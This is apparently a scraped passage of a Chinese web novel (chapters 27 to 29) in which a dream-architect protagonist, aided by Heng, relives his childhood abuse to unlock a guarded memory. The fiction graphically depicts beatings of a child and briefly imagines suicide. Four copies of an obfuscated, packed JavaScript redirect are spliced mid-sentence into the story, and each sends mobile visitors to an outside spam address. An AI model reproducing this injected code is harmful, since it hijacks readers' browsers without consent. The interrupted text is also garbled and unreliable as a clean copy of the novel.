“一个测试,测试进入记忆的你是不是江夷本人,”她又看我,“我举个例子。比如你现在是个特工,你要进入一个机密房间,你通过了门口的面容识别,但是里面的人疑心你是假冒的,怀疑你是个整容整得和江夷一模一样的敌人,所以他们在路上设置了一道锁,让你输密码,以确认你的身份。” “你是说,我掉出记忆之后的决策,就是这个密码?” “对,”她说,“他让你决定下一步的做法,而你给的不是他设定的答案,所以他判定你是个入侵者,把你关了起来。” “……什么?我答错了?”我疑惑,“那人踹断我两根肋骨,我逃跑,这还不对?难道我不该逃跑?” 她难得停下了她的嘴,她吃剩下的蟹壳已经堆成了小山。她转向我:“他的机关是为了精准抓出除他以外的人,你不能想‘应该怎么做’,你要想‘他会怎么做’。你觉得他是个什么样的人?” 我想了想:“嗯……一个极度理性的人。” “极度理性的人会做怎样的决定?” “对自己最有利,达到自己的目的?” “是,在那个情境下,他需要达到怎样的目的?” 我回想了一下那天晚上。他……他不想死。他求生的欲望非常强烈,强烈到我有点难以理解的程度。我很难想象一个生活在这样一个没有爱的家庭里,多年来一直被虐待,甚至一度被爸妈卖掉的小孩,能有这么强烈的求生欲望。我不知道让他如此坚定要活下来的动机是什么,这一段可能还在我不曾探索到的记忆里。总之他很想活下来,这一点是确凿无疑的。 “他想活着。” “你当时的想法呢?” “我没有想法,我被吓到了好吗?我有一瞬间觉得我的心脏要像个气球一样被肋骨扎爆了……好,我跟他应该是一样的,我什么都没想,求生本能。” “你们的目的是一样的,所以区别在于你和他。你没有像他这样被虐待,别人打你你就逃跑,但他可能一直经受这样的虐待,你觉得他逃跑过吗?” “肯定逃跑过,但是……”我想起我倒在地上时,那个巨大的黑影,“他逃不掉,一个小孩怎么可能逃得过一个成年男人。” 一个念头像闪电一样照亮了我的大脑:“他知道自己绝对逃不掉,所以他要让对方停手。” 我答对了,因为她又开始吃了,她撬开了今晚第七个海胆。“现在你要换到你爸爸……嗯,我是说那个男人的角度。你想象一下,现在你是个窝囊的男人,你不知道你的仇人在哪,但是他十岁的儿子在你手上,你——” 她的描述引起了我的强烈不适,我没忍住打断了她的话:“抱歉,我想象不了。那只是个小孩,一个什么都不知道的小孩。甚至连那个仇人都已经抛弃了他,折磨他没有意义,他死了仇人都不在乎,仇人甚至不知道!我……” 她吃海胆的动作又停了下来。之后她看我。我不敢对上她的目光,她看我的眼神又像是下一秒就要伸手摸摸我的头。 “那你换一个,现在你是个窝囊的男人,你的仇人落到了你手里,而他现在没有反抗你的能力。你打他,你踢断了他的两根肋骨,他从地上爬起来,要逃跑,你会怎么做?” 说实话,我被设定得有点过于善良,这个场景已经有点超出我的想象范围,但我尽量残暴一点。 “嗯……我会追上去。”我回忆了一下我打游戏的场景,“追上去接着打。” 追上去接着打。多么残忍的答案。从前那个我想必已经多次经历这样的折磨。 “什么情况下你可能会停手?” “觉得下一秒会把对方打死的时候?”我说,“杀人还是犯法的吧?他是个窝囊的男人,不敢闹出人命吧?” 那一瞬间,我黑暗的脑区里闪过一点火花。有一块记忆被照亮了。这一块碎片瞬间闯入我的大脑。我又跌在了那个小孩的身体里。他捂着胸口在地上抽搐,他用他含糊不清的声音喊救命,喊妈妈,不停地喊妈妈。他用他绝望的眼睛看着施暴者,乞求对方的怜悯。眼看对方没有要停下来的意思,他转而看向了旁边的妈妈。他那一刻的目光必定很灰暗,很无助,女人被他的目光惊醒,之后拉住男人。 “你要把他打死了,你要杀人了,你要杀人吗?” 男人如梦初醒地刹住脚步。 这一段闪回的记忆激起了我非常强烈的恐惧,我想起了那个黑暗的冰窖。它的里面充满了仇恨和恐惧,珩说,一切创造都基于观测。他经历过太多次这样的恐怖,所以他才能建造出这样一个房间,把入侵者溺死在无尽的绝望里。太可怕了,太可怕了,我不敢想象要是我昨天晚上没戴手绳,现在我会怎么样。我可能会被困在那里好几年,好几十年,之后我睁开眼发现,我居然还活着,时间只过去了区区八个小时。然后我在错乱的时间里陷入疯狂,最后忍无可忍,打开窗户,闭上眼睛往楼下跳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088139|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “江夷?江夷?” 还好我戴了手绳,还好珩在。她忽然喊我,再一次把我从回忆里唤醒。我看她的眼神也许有点奇怪,因为她看着我,隔壁桌聊天的人莫名其妙地也看着我。 她递过来一小盘甜虾:“正事说完了,你吃点吧。” 我接过盘子,隔壁桌的人还在看我。 之后我就看见珩招手叫附近的服务员:“你好,帮忙下个单。” ……隔壁桌没有在看我,是我自作多情了,他们在看珩。看起来有点营养不良的珩把满满一桌子都吃干净了,我有预感她一个人能顶至少两个路迢,嗯,我有点保守了,她又点了一堆,至少三个路迢。真是大隐隐于市,人不可貌相。 珩吃起饭来没有半点狼吞虎咽的样子,她十分从容,十分优雅地一盘接一盘地吃,一分钟没停过。我陪她吃到十点钟,已经一口都吃不下去了。十点半,隔壁桌人酒饱饭足,走的时候经过我们旁边,他们拙劣地假装不经意,盯着吃甜品的珩看。十一点,珩终于放下了筷子。她闲适地往后一躺,我很确信那一刻我隔着她的浅蓝色棉T恤看见了她吃得微微鼓起的小肚子。她好神奇,她像个鳄鱼,保留了原始状态下的吃一顿不吃一顿的本能,或是经历过极端状态下的生存训练,把进食节律给完全进化掉了。寻常人要是饿了一整天,之后又暴饮暴食一顿,轻则胃疼,重则急性胰腺炎。而她只是神色平常地招了招手,把服务员叫过来,微微笑着说她还要一杯橙汁。 见我看她,她也看我:“怎么了?” “没什么,我在想,要是我们下次还来,可能这几个服务员会在后面窃窃私语,”我稍稍弯腰靠近她,一手挡嘴,小声说道,“说‘看到没上次就这个女的’。” 她笑起来,头顶的灯光照在她笑得眯起来的眼睛上,她睫毛不长,也不浓密,看起来似乎有继续生长的潜力,在上空的暖光灯下,不知道是不是我的错觉,我竟然觉得她的睫毛好像是很深很深,接近于黑的绿色,我不由得想起浩仔上次说,她的绿头发是天生的,她真是个谜一样的存在。 服务员把橙汁送到她面前,她接过,我们又沉默着,店里剩下的顾客不多,轻柔的背景音乐下,偶尔能听到她吞咽时细微的声响。我等她喝完一杯橙汁,等她拿纸巾细细地印干净嘴唇,等她用热毛巾的正面把手擦一遍,又翻过来用反面擦一遍。她忽然叫了我一声:“江夷。” 我看向她:“啊?” “我想起点重要的事,”她把毛巾放下:“你还记得噩梦之前的事情吗?” “你是指?” “触发它的事情,”她看我,“那种黑夜中忽然有人开灯的感觉。” 我想想。 从梦境降落的时候有这种感觉,但是光很快消失了。 还有一次…… “好像是我们在吃章鱼小丸子的时候,有人在外面经过——”一个剪影涌上我的脑海,一簇烟花随之在我的漆黑的记忆中亮起,“是丁书记。” 27. 重回考场 第七章 她记得丁书记,当时他从门口走过,往店里看了一眼,三对穿着校服的小情侣,几乎同时心虚地转身背向他。“你的梦里他没有出现吧?”她问。 “没有。” “如果他是引起你这段回忆的人,你应该会看见他。” “也许他在后面的情节里?”我说,“我是指,通过测试之后的情节。” 人的胆量果然是练出来的,很难想象,遇到珩之前的我,竟然会被一些基础级的噩梦吓醒。早上从持续好久的噩梦里醒来,到了晚上,吃了顿特大的饭,我竟然已经恢复了过来,并且听从了珩的提议,准备再次进入同一个梦境,重做一次十四岁的我的考题。快十二点的城市,道路极其通畅,我们很快就回到了家附近。我知道珩住在社区活动中心的另外一边,快要到达岔路口的时候,我喊了在副驾上发呆的她一声。 “珩,”我说,“我送你到楼下?” “我不能回去,”她理所当然地说,之后恍然想起这部分的内容是她不曾和我讲过的,“我曾经把你从梦境里拉出来,同样的手段再来一次可能就不好用了,我得盯着你。” “什么?” “去你家。”她说,“我在旁边盯着你睡。” …… 她说了好多我听得云里雾里半懂不懂的东西,她说,梦里那个少年的我,是我思维的一部分,他不具备我的形体和完整的自主性,但能思考,能学习,有一定的应变能力。见我听不懂,她忽然说:“你看过《哈利·波特》吗?” “看过啊。” “Horcrux,叫什么来着,魂器。没错,你可以理解成他是你的一个魂器。”她说,“他就是你的日记本,他能说话,能给你带路,还能根据你挣脱他的方法,重建他的防御系统,但他不能跑进你清醒的大脑里,像正在和我说话的这个你那样,控制你的身体移动。假如他足够聪明,上一次我把你拉出来,这一次你进去,他的陷阱里就会设置新的机关,不让你用同样的方式挣脱。” “不是,以前的我这么聪明?他的智商多得可以分一块出来?” “可能不止一块,”她说,“分裂意识是筑梦师的基本功,一个筑梦师,最多能把自己分裂成152份。” “152?你这数字还挺精确,有零有整的,申请吉尼斯世界纪录了?” 她横我一眼:“因为这是我的记录,你在质疑我?” “不敢。” 好自信一女的,真是艺高人自信。 她让我躺下,我在房间的床上躺下,她人就坐在我旁边。我十分怀疑我能不能睡着,被人盯着,我浑身都不自在。我闭着眼睛,因为过于紧张,我有种错觉,好像我能感觉到底下弹簧床垫承受的重力,我翻一个身,床垫随着我动作活动的幅度比平时要小,因为在离我五十厘米远的地方,有另外一团重力压在它上面。珩盘腿坐在我旁边,似乎感觉到我睡不着,她非常贴心地问了我一句:“你睡不着?” 我睁开眼,她非常端正地坐在我旁边,仿佛一尊观音像。我相信除了猫,没有别的生物能在观音大士的脚边睡着。 “闭眼,我帮你。” 我闭上眼,实在有些怀疑:“不好意思我问一句,人工制造的睡眠,能进入同一个梦境吗?他不会聪明到意识到我在作弊,然后直接把我扔海里吧?” “我跟你说过的,你忘了?”她说,“人的意识是连续的。” “啊?” “别说话了,”她嫌我吵,“我一点点把你往下推,看见他了你就喊停。” 早上那股魔力又钻进了我的大脑里,我几乎在一瞬之间就丧失了控制肌肉的能力,我好像被锁住了,意识还在动,但也就只剩下意识在动。我试图说话,我发出了声音,但我可以肯定我的嘴一点都没有动,这是我脑子里的声音。“我这是睡着了?” “对,”她的声音又钻进了我的神经里,“我现在开始推你,专心点看。” 我没来得及回答,人就开始往下落。和我自己相比,她的动作真的好温柔,我感觉我坐上了一部下降的电梯,正缓慢匀速地在黑暗中下落。电梯厢是透明的,我的周围忽然被光照亮。 “到梦里了?” “对。” “我看看?” 我在电梯厢里往外看,正好看见我□□地在路上狂奔,逮住每一个迎面而来的人问“厕所在哪里”。这是我快要被尿憋醒时会做的浅层梦,不是没穿衣服在找衣服,就是尿到一半有一大群人把厕所门打开。 我赶紧把珩喊住:“别看!!!不是这里,往下往下!!!” 电梯又开始往下落,经过一段连续的黑暗之后,每一层都有不同的画面了。我看见我要迟到了在追车,自行车被偷了,学生跳远摔断腿,我抱着人往医院跑。再往下走,我开始没完没了地被追杀,路迢长出了大翅膀,变成一只巨大的老母鸡,他一边扑着大翅膀,一边撵着我跑,我被他掉下来的鸡毛刺激得不停地打喷嚏。电梯越往下走,梦境的层高就变得越矮,到后来,几乎一层楼的高度里就塞进了五六个梦,我得趴在电梯厢壁上仔细看,生怕自己错过该要停下的时间点。 之后我有一瞬间找到了熟悉的感觉,但一只巨大的黑熊忽然间一巴掌往电梯厢扇过来,吓得我猛地后退一步,之后梦境就迅速变换,我看见我变成了007,穿着黑皮衣开着摩托车,快要退休的年级组组长变成了十八岁妙龄少女,穿着泳装坐在我背后,指挥我把摩托车开到克里姆林宫对面去。 珩在外面喊:“还没到吗?” 我正在把我的黑皮衣换成西装,在一个高眉深目身高一米八的美女带领下,准备去见普大帝。“不知道啊,刚刚有一瞬间有熟悉的感觉,但外面是只熊。” “别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16113632|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相信你的眼睛,相信你的直觉。”她说,“再往下走,你快昏迷了。” 我往下看了一眼,底下是黑色的深渊,昏迷,深渊之下就是昏迷。我被她的话引得走神,那死亡呢,死亡是不是还要更深,在这片深渊之下?一想到我曾经掉进过这种地方,我的心里就不由得一阵后怕。 幸好电梯转而往上升,我看着长得像张飞的大帝在我面前一闪而过,我想着要在熊的地方停下,但是又想起珩的话。直觉。不要管看见什么,只相信自己的直觉。眼前花花绿绿的梦境让我有些混乱,我干脆闭上了眼,在熟悉的感觉闪出的瞬间,我睁开眼。 一个白色的面具悬在外面,他果然是在故意吓我,用恐惧来扰乱我的判断。幸好我被珩虐过一千一万遍,这能吓到我? 珩在我的神经上说话:“到了?” “对。” “我跟你一起去。” “什么?” 我刚想说她一个陌生女人出现在我的记忆里,这不是直接给了我的魂器一个攻击的目标吗,结果我就感觉到有什么东西硬是钻进了我的脊柱,之后直接顺着椎管爬到了我的颅腔。她就这么躲在了我的大脑里面,我拨开面具,穿过一片昏暗的,到处有狼嚎声的森林,之后陡然降落在海边的小学里。我低头看了一下自己的手——我又回到了十岁时候的身体里了——而走廊的尽头是少年的我的背影。他没像上次那样,转过身来跟我说话。他没看我,他离我还有些距离,但声音分外地响亮,好像他就站在我旁边。 “她是谁?”他冷声问我,“入侵者?” 我现在对他很没有好感,虽然他是我自己的一部分。我态度也很差:“关你什么事?这是我的记忆。” “你带一个陌生人进来?”他质问我。 此前因为他长着一张和我几乎一样的脸,我见了他,尚觉得有些亲切,但自从他把我扔进那个冰冷的陷阱里,用一些恶毒的话攻击我,放大我身体的疼痛之后,我就瞬间醒悟过来,他是我的一部分,建造他的质料属于我,他所依附的肉|体属于我,但他思考着的这个灵魂,全然属于另一个人——那个心狠手辣的天才筑梦师。他仿佛一条长满宝石般璀璨鳞片的毒蛇,虽然他很漂亮,像无情上苍难得刻意雕琢的艺术品,但这不能改变他是一条蛇的事实。生长在黏腻潮湿的沼泽里,蛰伏在猎物身边的阴暗角落中,长长的尖牙里灌满毒液,这就是他。他咬过我一次,我很难不发自内心地厌恶他。 “我说了这是我的记忆,我爱带谁进来就带谁进来,你没资格管!”十岁小孩的声音说出同样傲慢的回答。 “你是谁?”他眯起眼睛,像一只长得很乖巧的猫,一翻脸,弓起背直起尾巴,摆出攻击的姿势,“你不是我的主人,你不配做我的主人。你失忆了?你疯了?随便是哪个吧。你让一个陌生人来看你的记忆,怎么,她是你的心理医生,是你的谁?” 28. 读档重来 我拒绝回答他的一切问题,他咄咄逼人的态度分明是我儿时记忆里那个心怀怨恨穷追不舍的母亲,而他眼里的暴戾和怒气又仿佛我那个无能的父亲。我知道他只是一个碎片,一个具有部分思想的傀儡,但大概我的脑子里也有狠戾易激惹的一部分,他作出攻击的架势,这一部分脑区就随之亮起,我感觉到一阵怒意从我的心脏深处腾起,它连带着我在昨天那个冰冷的陷阱里的记忆,疼痛和恐惧统统化作恨意,像海浪一般呼啸着奔涌而出。但……我大脑里攻击人的部分记忆已经被删除,这把火在我的体内燃烧,但它无法化成任何一个字。我感觉到我有点想要给他一拳,理智告诉我事情最好不要往斗殴上发展,我努力要忍住这种冲动。 但我忘了我现在是在梦里。我大脑的指令几乎没有经过任何审查,直接就到达我的肌肉,我看着十岁小孩举起干瘦的拳头,呼地一下打在他漂亮的鼻梁上。事情发生得有点突然,学校里的NPC们统统看向了我们所在的地方。珩好像试着收回我身体的控制权,但她防御的动作比对方反击的动作要慢,只见对方一扬手,我前一刻所在的地面就塌陷了下去。 被攻击的瞬间,我又感觉到我黑暗的大脑亮了起来。过去的我必然是多次面临这种场面,在那一瞬间,我的大脑同时亮起了千万盏灯,在地面变成一个通向陷阱的黑洞之前,我几乎在刹那间跳到了别的地方。我的手变成了成年人的手——我窜到了教室里正在讲课的老师身体里。我想起了珩的话:“分裂意识是筑梦师的基本功。”这是我的梦境,这里的所有东西都由我的意识构造,所以我能像打游戏的时候和女朋友打电话一样,随意地把我的司令部从游戏画面转移到和女朋友的对话里。现在我的司令部就从十岁小孩,转到了教室里的NPC老师身上。 我记起如何闪避这件事似乎让他有些意外,但他瞬间改变了策略,像是发生了一场无声无息的爆炸,巨大的冲击波霎时推倒了我所在的建筑物,教室陡然垮塌,茫茫的烟尘挡住了我的视线,所有人物都隐匿在灰尘之中,我找不到下一个落脚的身体,就在此时,一块混凝土砸向了我—— 那一刻我的神经冲动来不及组成一个闪避的动作,在我开始思索在梦里被砸死会不会也掉进无限延伸梦境时,珩把混凝土块停在了我的上空。准确点来说,珩强行拖长了梦里的时间,混凝土块开始优雅地飘落,万物崩裂的背景里,它仿佛偶像武侠剧里连撩撩头发都要放个慢镜头的男主角。 珩趴在我的脑子上敲天花板,咚咚咚的声响震得我头疼:“你不想出去了?就爱跟他打?” 我反驳:“我想出去啊!谁爱跟他打啊喂?” 珩:“那你能不能发一个‘我要醒来’的指令?我在你的身体里面,你不说走,我也走不了。” 被她凶多了之后,在危险的环境里听到她凶我,我竟然觉得心里一下安定了下来。我如梦初醒,像每次我意识到自己正在做噩梦时一样,努力地想要马上醒过来。在我这么想的瞬间,珩抓着我的头盖骨把我推了出去,我瞬间穿过倒塌的小学,穿过进来时的密林,之后回到电梯里。珩把电梯拉到最高速,我看着外面的梦境一连串地闪过,之后醒在我自己的床上。 珩的意识离开的时候,我感觉像是谁把我大脑表面的一张贴纸撕掉了,扯得这片脑区所管辖的皮肤一阵古怪的刺挠。我睁开眼,珩和我面对面躺着,她几乎和我同时睁开眼睛。这距离有点过于近了,兼之我刚从战斗的梦境里醒来,心跳还很快,和她对面躺着,我有点局促。 但在她眼里,我是一块肉,没有社会身份标识,激不起她任何的个人感情,虽然她醒在我的床上,但她看起来很平静,和醒在社区活动中心的躺椅上,或是任何无关紧要的地方时一样。她又像平时遇到什么难题的时候那样,细而长的眉毛微微一蹙,短暂的思索之后眉间的褶皱展开,目光直直看着我的眼睛。她说:“看来你只能自己进去了。” ……我马上就想起了被十几岁的我炸得到处都是窟窿的学校。刚刚我真够鲁莽的,恃着珩在,我居然敢挑衅他。 她好像看出了我眼里的闪烁,她忽然伸手过来,一切发生得太快,等我惊恐地睁大眼,而她的身影完全占满我的整个视野时,她的手已经放在我脸上了。她的体温很低,真的很低,手的温度更低,像一个冰袋,贴在我的脸颊上,我能感觉到我的面动脉在她冰冷的手指下跳动。 我又用人类的行事方式揣测她了,有一秒钟的时间里,我误以为她是看出来我在害怕,试图通过触摸来安慰我。但她拍了拍我的脸,说:“如果一个小时之后你还没醒,我就会这样把你拍醒。无论他把你推到怎样的噩梦里,你都牢牢记住,你现在正在做梦,并且至多一个小时之内,我会把你叫醒。明白了吗?” 见我不说话,她又拍了我的脸一下:“听到没?” “……听到了。” “那你准备好咯?” 我好像是点了一下头,或者只是随便动了一下,反正她觉得我准备好了,我几乎在一瞬之间又被塞到了黑漆漆的电梯里,之后快速地往下坠,我闭着眼睛等待,在熟悉的感觉出现的那一刻,我推门出去。 来到学校门口的时候,我看见了一大片废墟。刚刚珩阻止我跟我十四岁的魂器打起来,是个明智的决定,学校塌了,变成一片废墟,而教学楼前面的空地上,全是一个个巨大的黑窟窿。我走过两边都是深渊的窄路,到了教学楼脚下,一抬头,我看见十四岁的我坐在混凝土块堆成的小山上,他的鼻梁被我打断了,左边眼睛又紫又肿,他两条瘦长的腿悬空,在土堆外面晃晃荡荡。见我自己一个人来,他的态度缓和了很多。但语气依然非常欠揍,该死的青春叛逆期臭小孩。 “喂,”他喊我,“她呢?” “她来你把学校炸掉,她不来你又问,”我抬头看他,“我发现你这人还挺矛盾的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120733|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他从楼上跳下来,因为他看起来是个有智能的个体,我常常忘记这不是现实。他跳下来的时候我差点以为他要自杀,但他优雅地在我面前站住。我由是意识到他是一个具有部分智能的个体,他可以自由地和我聊天,但他的职责所在就是守护这段记忆,敌人入侵的时候他发动攻击,必要时自爆,而主人来的时候,他负责开门。虽然他讨厌我,但我这个身体里没有异体成分,我的每个细胞都通过了身份核验,他只好不情不愿地用他不对称的眼睛瞪我,问我:“你是不是要进去?” 我不好意思看他,他像个被混混霸凌的优等生,衣服熨得笔挺,鼻子被我打断,左边眼睛变成紫色的单眼皮,长长的睫毛只能在肿胀的上下眼睑之间极小的范围内颤动。我转开目光,“嗯”了一声。他的出厂设定让他给我开门,他的个人意志带有对我的私怨,他闪到我身后,之后狠狠一脚把我踹进歪掉的门框里。 …… 我回来了。胃痛,腿软,头脑发昏,远处传来一阵阵让人更加困乏的均匀的海浪声。虽然这地方让我本能地反胃,但一想到我又可能看到更多后续的记忆,甚至看到和这时候的我看起来毫不相关的丁书记,我的期待就压过了不适。谢谢珩,感恩珩,挂科了她不仅能救我,还能让我重考一次,这地球没了珩可怎么转! 我对重看一次前面的记忆没有半点兴趣,我躲在小孩身体里,看他藏在房子后面偷听。长得像个灰熊的人贩子在屋里大喊大叫,拿肉刀砍桌子,那声音震得我的心脏也跟着乱跳,我心想虽然这是我的记忆,但我没有自虐倾向,没有把伤疤翻来覆去看的必要。半个小时前和十四岁的我打架,触发了我分裂意识的记忆,我干脆把我的感官从小孩的身体里撤掉,我把自己所有的意识缩成一团,藏在小孩的脑袋里挂机。 我只保留了我的视觉和听觉,太好了,他身上的情绪一点都不能和我共享,我看他心惊胆战地躲在墙后,仿佛在看第一人称的电影。难怪书里电影里都说,经历过严重创伤事件的人,出于对自己的保护,会分裂出另一个人格,让自己觉得可怕的事情其实发生在另一个人身上。我旁观他的痛苦,就差掏包瓜子出来嗑了。 电影放到灰熊人贩子砰地把桌腿踹断,屋里兵荒马乱的全是桌上东西摔在地上的响声,我盘腿坐在小孩头顶,看着人贩子出来,抽身在外的我很有兴致,他像什么在夜间觅食的动物那样,微微弯下腰,脖子往前伸,颈上堆积的横肉被他这个动作拉开,让他的脑袋变得像条抻直的蚯蚓。 他离我已经很近了,他的脸几乎就和我隔了一个墙角,我本来还在走神,忽然之间,周围变安静了。 我的意识本来都团在小孩的头顶,在我想明白发生什么事情之前,我感觉到一种无形的力量把我摊开,之后手是手脚是脚地把我的感觉细胞都塞回到它们原本该在的地方去。 我在那一瞬间意识到一个恐怖的点—— 29. 出逃 我在那一瞬间意识到一个恐怖的点—— 这个身体的自主权回到了我手里。 之后我紧接着意识到第二个恐怖的点—— 我比上次早了半个小时接管这个身体。也就是说,我的考试提早到现在开始。 然后是第三个点—— 过去的我到底是个什么人!他还限制重考次数!假如每次答错,读档点都会提前,这就说明,假如我答错的次数太多,我就会永远丢失这段记忆。 以上所有念头冲进我的大脑,信息量太大,我差点忘记控制我自己的身体。幸好我是个体育老师,反应很快,平衡感也不错,假如此时我往后踩错一步,我就该马上掉进陷阱里,然后等待珩在被拉长无数倍的一个小时之后把我扇醒。 我按照记忆里的内容,控制我的身体。亲身体验他的恐惧,和在记忆里看,程度上有很大的差异。以前的我必然是个很会折磨人的混蛋,他知道怎么制造恐惧。因为我不知道当我的行为和记忆偏离到什么程度的时候我会被判定为“回答错误”,不确定的规则让我时刻提心吊胆。我机械地重复着记忆里的所有细节,直到我听到屋里人的声音—— “对不起,我知道这些年你听了很多闲话。但这都过去了,真的,都过去了。我们也有自己的孩子了——” 心脏抽痛,血液断供,头脑一阵发昏。我这时候该摔在地上,在意识清醒的时候硬要往地上摔,还真需要一点演技。演技我没有,诡计我与生俱来就有一些,我把我的意识短暂地从身体里抽离出来,身体像被断了电,砰地一下就栽倒在地上。 “谁?”妈妈在叫我。 我讨厌这声音。这把声音和“抛弃”已经形成了永久的反射。 我的意识归位,我趴在地上抬头看她。 她又喊我:“你过来。” 我站起来,走过去,途中我需要哭,但我哭不出来。现在我是个二十六岁的人,时间过得太久,她给我留下的只有失忆了都抹不掉的讨好型人格,我对她没有爱,也没有恨。我艰难地开口喊“妈”,这一声喊得几乎是在背叛我自己。幸好她接下来是要打我的,我的眼泪是真是假,都不会改变我下一刻的遭遇。我虚假的眼泪没有触发陷阱,她嫌恶地看向我,之后开始质问我,眼里的嫌恶忽然变作杀意,她抓着我的手,把我往门口拖。 是真疼啊,我分心了一秒,看见自己的膝盖被粗糙的水泥地磨出一层混合着皮肤和肉的血泥。我道歉,我求饶,她完全不理会。之后我挣脱了她,我回头看见了那个踹断我肋骨的男人,虽然明知道他会伤害我,我还要跑过去,我抱上他的腿,他把我甩开,我倒在地上,他巨大的黑影就在我的眼前。不做任何躲避完全违背人类本能,我实在做不到,于是我又把意识抽出,刻意让自己错过躲避的时机。 他一脚踢在我的心窝上,我听到了骨头变形的声音,是真的太疼了,我蜷在地上,身体不由自主地抽搐,他追上来还打,我这次已经没必要使诡计了,因为我实在疼得躲不了,我蜷成一团,后背弓起,他望准我的背脊又是一脚,那声闷响在我的胸腔里反复回撞。我想喊救命,我好想喊珩,我的本能把她从黑暗中将我扯出来的画面推送到脑子的最前方,我好想她,疼痛让我所有思绪都慌不择路地乱跑,他们往我关于安全感的记忆里跑,我甚至有一秒看见珩坐在我面前,她拍着我的脸说等会要这样把我叫醒,而我以为她在安慰我。 救命。 她能不能来。 读档点来了,我感觉到了,我不能再想她了,我必须保持理智,我的声音在颤抖,我说:“对不起,我错了,我错了,求你了,别杀我——” 这句话像一把利刃,它从内而外贯穿了我,它是我前十年的人生里,反反复复永不愈合的伤痕,我感觉到什么熟悉的绝望的情绪击中了我,之后温热的液体从我的眼里淌出,我在哭,那是二十六岁的我在哭,我的身上除了疼痛,已经没有别的感觉了,我完全脱力,瘫软在地。屋里的光把后面两个人的身形投在我眼前的地面上,女人把男人拉住,这时候她终于开始害怕,是害怕,不是心软,她怕我死了害他们坐牢,并不是怕我死。 “你要把他打死了,你要杀人了,你要杀人吗?” 马上要再一次冲向我的男人影子停住。 我闭上眼,珩,珩呢。过去多久了,过去多久了,珩呢? 珩没有来,我也没敢喊她,但在我的眼泪掉在地上的那一刻,我失去了这个身体的掌控权。 我答对了。我通过了我自己设定的身份核验。 十岁的我比二十六岁的我坚强多了,一接手这个身体,他就开始思考。他从这一刻开始,自然而然地学会了分裂自己。他的身体在疼痛,他的大脑在思考,他的思绪似乎分毫不被□□上的痛苦干扰,他冷眼旁观自己的母亲把他扶起来,他躲在客厅的角落里,持续地沉默着。父亲翻出剩下半瓶的廉价烧酒,黑着脸把酒喝进去,之后回到房间,砰地把门关上,两分钟之后,破旧的木门后面就传来他震天响的鼾声。终于恢复了些许恻隐之心的母亲给小孩热了个大馒头,小孩就着凉水吃馒头。因为饿得太久,馒头滚进胃里的时候,习惯了空落落的胃开始剧烈地痉挛,胃变成一条大毛巾,在肚子里拧来又拧去。小孩的意识在观察母亲和家里的布置,他思考他的,而胃自顾自地疼着。吃着吃着母亲发现小孩的头上在冒冷汗,夜深了,她的心也软了下来。到底是自己亲生的孩子吧,她还没有坏到那个程度,她用手背擦了擦小孩额头的汗。我感觉到小孩平稳的意识一震,之后眼泪失控地从他干瘪深陷的眼眶里滑落。 他要走。在他的父亲看着他倒在地上,还往他的后背踢了第二脚的时候,他就下定了走的决心。但他动摇了,动摇了不止一次。妈妈把馒头递到他手里的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16124835|177656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他动摇了第一次。他的骨头没全断,他年纪太小,骨头很软,它变形了,当他坐直身子时,隔着衣服,能看到左边胸廓上很明显的一处凹陷。当妈妈看着他吃馒头,不自觉地往他胸口的凹陷看了一眼的时候,他动摇了第二次。当妈妈伸出手给他擦汗时,他动摇了第三次。他几乎想要扑到她的怀里哭,但这时候房间里的弟弟哭了。妈妈的注意力瞬间被吸引过去,她很快地站起身,快步走到弟弟的房间去了。他微微前倾的身子又缩回原位,他靠在墙角,看着妈妈进屋,短暂回到身体里的意识又分裂出去,胃和心脏的抽痛都瞬间消失了。真好。一点感觉都没有了。不再犹豫,不再动摇。他彻底地自由了。 